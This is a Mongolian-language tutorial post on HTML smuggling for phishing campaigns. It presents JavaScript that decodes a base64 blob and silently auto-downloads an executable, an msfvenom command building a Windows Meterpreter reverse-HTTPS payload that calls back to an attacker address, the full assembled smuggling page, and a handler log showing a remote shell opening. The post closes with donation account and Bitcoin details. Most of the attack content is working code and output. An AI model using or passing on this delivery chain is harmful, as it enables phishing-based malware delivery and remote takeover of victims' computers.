⚔️HTML smuggling

HTML smuggling гэж юу вэ? Хакерууд үүнийг ашиглаж Phishing campaign-г хэрхэн зохиодог талаар мэддэг зүйлсээ бичлээ

HTML smuggling-г ихэвчлэн и-мэйлийн attach хэсэгч байршуулж халдлага хийдэг. Тухайн хүн и-мэйлээр ирсэн HTML файл дээр click хийсэн тохиолдолд дотор байгаа хортой код нь ажиллаж эхэлдэг

<html>
 <body>
 <a href="/msfstaged.exe" download="msfstaged.exe">Энд дарж татаарай</a>
 </body>
</html>

Тухайн хохирогч HTML5 дэмждэг вэб хөтөч дээрээс хандалт хийхэд автоматаар хэрэглэгчийн Download хавтасруу шилжинэ. Энэ арга нь хэтэрхий мэдэгддэг, болхи арга учраас өөр аргаар сайжруулж болно

Ингэхдээ Жаваскрипт кодоор дамжуулж ажиллах боломжийг бүрдүүлнэ. Meterpreter-ээр хортой кодоо үүсгэхдээ Base64-р шифрлээд жаваскрипт код дотроо нэмэлт Object ( Blob53 ) үүсгэх хэрэгтэй. Мөн Blob-г ашиглан URL дээрх обьектийг үүсгэж болно. Ингэснээр татаж авсан хэрэглэгчийг нэмэлт бэлдсэн урхируу чиглүүлэх боломжтой

<html> 
    <body> 
        <script> var blob = new Blob([data], {type: 'octet/stream'}); 
        </script> 
    </body> 
</html>

Object үүсгэж байгаа хэсгийн код:

var url = window.URL.createObjectURL(blob);

Одоо бид санах ойд файлын объекттой болсон учраас tagName буюу ('f')-руу зааж, createElement-г ашиглаж зааж өгнө. Дараа нь appendChild-г ашиглаж үндсэн кодны ардаас бидний бэлдсэн код ажиллана гэдгийг оруулж өгнө. Бидний бэлдсэн хортой кодыг ил харуулахгүйн тулд style-г "display: none" болгоно. Үүний дараа бидний бэлдсэн URL-руу чиглүүлэхдээ href ашиглана. Үүний дараа татагдах файлын нэрийг тохируулах хэрэгтэй

var f = document.createElement('f');
document.body.appendChild(f);
f.style = 'display: none';
var url = window.URL.createObjectURL(blob);
f.href = url;
f.download = fileName;

Мэдээж энэхүү үйлдлүүдийг биелүүлэх зүйл хэрэгтэй шүү дээ хэхэ

f.click();

Бид HTML smuggling халдлага хийхээс өмнө файлыг оруулах хэрэгтэй. Жаваскрипт код дотроо Meterpreter executable-г хэрхэн оруулах талаар харууллаа. Янз бүрийн тэмдэгтүүдээс сэргийлэхийн тулд Base64-р шифрлээд буцаагаад тайлаад byte бүрийг массивруу хадгалдаг функцийг код дотроо бичнэ

function base64ToArrayBuffer(base64) {
    var binary_string = window.atob(base64);
    var len = binary_string.length;
    var bytes = new Uint8Array(len);
    for (var i = 0; i < len; i++) {
        bytes[i] = binary_string.charCodeAt(i);
    }
    return bytes.buffer;
}

Одоо ийнхүү код асуудалгүй болсон одоо Payload-г үүсгэх хэрэгтэй

kali@kali:~$ sudo msfvenom -p windows/x64/meterpreter/reverse_https
LHOST=192.168.119.120 LPORT=443 -f exe -o /var/www/html/msfstaged.exe
...
Payload size: 694 bytes
Final size of exe file: 7168 bytes
Saved as: /var/www/html/msfstaged.exe

kali@kali:~$ base64 /var/www/html/msfstaged.exe
TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v
...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==

Base64-р шифрлэсэн .EXE файлыг оруулахын өмнө бид шинэ мөрийг устгаж, нэг тасралтгүй мөр болгон оруулах ёстой. Эсвэл бид мөр бүрийг хашилтанд оруулж болно. Одоо бүгдийг нэгтгэж үзье

<html>
 <body>
  <script>
 function base64ToArrayBuffer(base64) {
 var binary_string = window.atob(base64);
 var len = binary_string.length;
 var bytes = new Uint8Array( len );
 for (var i = 0; i < len; i++) { bytes[i] = binary_string.charCodeAt(i);
}
 return bytes.buffer;
 }

 var file ='TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAA=='
 var data = base64ToArrayBuffer(file);
 var blob = new Blob([data], {type: 'octet/stream'});
 var fileName = 'msfstaged.exe';

 var f = document.createElement('f');
 document.body.appendChild(f);
 f.style = 'display: none';
 var url = window.URL.createObjectURL(blob);
 f.href = url;
 f.download = fileName;
 f.click();
 window.URL.revokeObjectURL(url);
  </script>
 </body>
</html>

Бэлдсэн HTML вэб хуудсаа Apache серверлүү зөөгөөд Windows 10, 11 хохирогчийн төхөөрөмжөөс хандалт хийж татаж аваад ажиллуулахад ийм анхааруулах мэдээлэл гарч ирнэ

Анхааруулга:

HTML-н window.URL.createObjectURLInternet Explorer болон Microsoft Edge дээр дэмждэггүй бөгөөд хэрвээ ажилладагаар хийнэ гэвэл кодоо өөрчлөх шаардлага үүсэх юм л даа. Гэхдээ одоо бараг IE ашигладаг хүн байхгүй дээ хэхэ. Хэрвээ Internet Explorer дээр асуудалгүй ажилладаг болгох юм бол код дотроо window.navigator.msSaveBlob-г бичиж өгнө

Энэхүү анхааруулах мэдээлэл гарсан шалтгаан нь .EXE файлыг татахдаа вэб хөтчөөр дамжуулан татан авалтаас болж байгаа юм л даа. Хэрвээ сэжигтэй файл вэб хөтчөөр дамжиж орж ирэхэд Windows-н SmartScreen функц нь файл татахыг зогсоохыг оролддог. Бид үүнийг гүйцэтгэхийн тулд "Дэлгэрэнгүй мэдээлэл" дээр дараад "Ямар ч байсан Run" дээр дараад үргэлжлүүлцгээе

msf5 exploit(multi/handler) > exploit
[*] Started HTTPS reverse handler on https://192.168.119.120:443
[*] https://192.168.119.120:443 handling request from 192.168.120.11; (UUID: kh1ubovt)
Staging x64 payload (207449 bytes) ...
[*] Meterpreter session 2 opened (192.168.119.120:443 -> 192.168.120.11:49697)
meterpreter >

Ямар ч байсан асуудалгүй ажиллаад бид Meterpreter shell авч чадлаа. Хэрвээ хохирогчийн компьютер Windows 10-н App & Browser Control-г идэвхжүүлээгүй, Windows 7 болон түүнээс доошоо хувилбарын үйлдлийн систем ашигладаг мөн вирусны эсрэг хамгаалалтыг идэвхжүүлээгүй тохиолдолд энэхүү халдлагад өртөх бүрэн боломжтой юм

Дэмжихыг хүсвэл:❤️

TDB: 499293430

Bitcoin: 1B3m4pTgTLbRZU8dhg6HnW7djmySdCCh15

Last updated